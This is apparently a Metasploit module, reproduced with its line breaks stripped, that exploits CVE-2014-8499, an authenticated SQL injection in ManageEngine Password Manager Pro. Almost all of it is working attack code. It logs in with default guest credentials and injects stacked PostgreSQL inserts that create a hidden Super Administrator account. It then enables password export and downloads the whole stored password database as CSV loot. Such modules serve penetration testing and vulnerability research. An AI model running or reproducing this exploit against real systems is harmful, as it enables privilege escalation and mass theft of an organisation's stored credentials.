ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',        'Description' => %q{          ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection          vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate          privileges and obtain Super Administrator access. A Super Administrator can then          use his privileges to dump the whole password database in CSV format. PMP can use          both MySQL and PostgreSQL databases but this module only exploits the latter as          MySQL does not support stacked queries with Java. PostgreSQL is the default database          in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,          so a higher version does not guarantee exploitability. This module has been tested          on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in          v7.1 build 7105 and above.        },        'Author' => [          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module        ],        'License' => MSF_LICENSE,        'References' => [          [ 'CVE', '2014-8499' ],          [ 'OSVDB', '114485' ],          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ],          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],        ],        'DisclosureDate' => '2014-11-08'      )    )    register_options(      [        Opt::RPORT(7272),        OptBool.new('SSL', [true, 'Use SSL', true]),        OptString.new('USERNAME', [true, 'The username to login as', 'guest']),        OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),        OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/'])      ]    )  end  def login(username, password)    # 1st step: we obtain a JSESSIONID cookie...    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')    })    if res && res.code == 200      # 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)      if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/        orgn_name = ::Regexp.last_match(1)      else        orgn_name = nil      end      if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/        authrule_name = ::Regexp.last_match(1)      else        authrule_name = nil      end      # 3rd step: we try to get the domainName for the user      cookie = res.get_cookies      res = send_request_cgi({        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),        'ctype' => 'application/x-www-form-urlencoded',        'cookie' => cookie,        'vars_get' => {          'RequestType' => 'GetUserDomainName',          'userName' => username        }      })      if res && res.code == 200 && res.body        domain_name = res.body.to_s.strip      else        domain_name = nil      end      # 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.      # For some reason send_request_cgi! doesn't work, so follow the redirect manually...      vars_post = {        'j_username' => username,        'username' => username,        'j_password' => password      }      vars_post['ORGN_NAME'] = orgn_name if orgn_name      vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name      vars_post['domainName'] = domain_name if domain_name      res = send_request_cgi({        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')),        'ctype' => 'application/x-www-form-urlencoded',        'cookie' => cookie,        'vars_post' => vars_post      })      if res && res.code == 302        res = send_request_cgi({          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),          'cookie' => cookie        })        if res && res.code == 200          # 5th step: get the c ookies sent in the last response          return res.get_cookies        end      end    end    return nil  end  def inject_sql(old_style)    # On versions older than 7000 the injection is slightly different (we call it "old style").    # For "new style" versions we can escalate to super admin by doing    # "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"    # However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.    if old_style      sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'    else      sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'    end    user_id = Rex::Text.rand_text_numeric(4)    time = Rex::Text.rand_text_numeric(8)    username = Rex::Text.rand_text_alpha_lower(6)    username_chr = ''    username.each_char do |c|      username_chr << 'chr(' << c.ord.to_s << ')||'    end    username_chr.chop!.chop!    password = Rex::Text.rand_text_alphanumeric(10)    password_chr = ''    password.each_char do |c|      password_chr << 'chr(' << c.ord.to_s << ')||'    end    password_chr.chop!.chop!    group_chr = ''    'Default Group'.each_char do |c|      group_chr << 'chr(' << c.ord.to_s << ')||'    end    group_chr.chop!.chop!    sqli_command =      "insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \      "insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \      "insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \      "insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \      "insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \      "insert into aaaauthorizedrole values (#{user_id},1);" \      "insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \      "insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \      "insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \      "insert into aaaaccpassword values (#{user_id},#{user_id});" \      "insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \      "insert into ptrx_superadmin values (#{user_id},true);"    sqli_suffix = '-- '    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'),      'cookie' => @cookie,      'vars_post' => {        'COUNT' => Rex::Text.rand_text_numeric(2),        'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,        'USERID' => Rex::Text.rand_text_numeric(4)      }    })    return [ username, password ]  end  def get_version    res = send_request_cgi({      'uri' => normalize_uri('PassTrixMain.cc'),      'method' => 'GET'    })    if res && res.code == 200 && res.body &&       res.body.to_s =~ /ManageEngine Password Manager Pro/ &&       (         res.body.to_s =~ /login\.css\?([0-9]+)/ ||                            # PMP v6         res.body.to_s =~ /login\.css\?version=([0-9]+)/ ||                    # PMP v6         res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7       )      return ::Regexp.last_match(1).to_i    else      return 9999    end  end  def check    version = get_version    case version    when 0..7104      return Exploit::CheckCode::Appears    when 7105..9998      return Exploit::CheckCode::Safe    else      return Exploit::CheckCode::Unknown    end  end  def run    unless check == Exploit::CheckCode::Appears      print_error("Fingerprint hasn't been successful, trying to exploit anyway...")    end    version = get_version    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])    if @cookie.nil?      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")    end    creds = inject_sql(version < 7000)    username = creds[0]    password = creds[1]    print_good("Created a new Super Administrator with username: #{username} | password: #{password}")    cookie_su = login(username, password)    if cookie_su.nil?      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")    end    print_status('Reporting Super Administrator credentials...')    store_valid_credentail(user: username, private: password)    print_status('Leaking Password database...')    loot_passwords(cookie_su)  end  def service_details    super.merge({ access_level: 'Super Administrator' })  end  def loot_passwords(cookie_admin)    # 1st we turn on password exports    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),      'cookie' => cookie_admin,      'vars_post' => {        'IS_XLS' => 'true',        'includePasswd' => 'true',        'HOMETAB' => 'true',        'RESTAB' => 'true',        'RGTAB' => 'true',        'PASSWD_RULE' => 'Offline Password File',        'LOGOUT_TIME' => '20'      }    })    # now get the loot!    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),      'cookie' => cookie_admin,      'vars_get' => {        'RequestType' => 'ExportResources'      }    })    if res && res.code == 200 && res.body && !res.body.to_s.empty?      vprint_line(res.body.to_s)      print_good('Successfully exported password database from Password Manager Pro.')      loot_name = 'manageengine.passwordmanagerpro.password.db'      loot_type = 'text/csv'      loot_filename = 'manageengine_pmp_password_db.csv'      loot_desc = 'ManageEngine Password Manager Pro Password DB'      p = store_loot(        loot_name,        loot_type,        rhost,        res.body,        loot_filename,        loot_desc      )      print_status("Password database saved in: #{p}")    else      print_error('Failed to export Password Manager Pro passwords.')    end  endend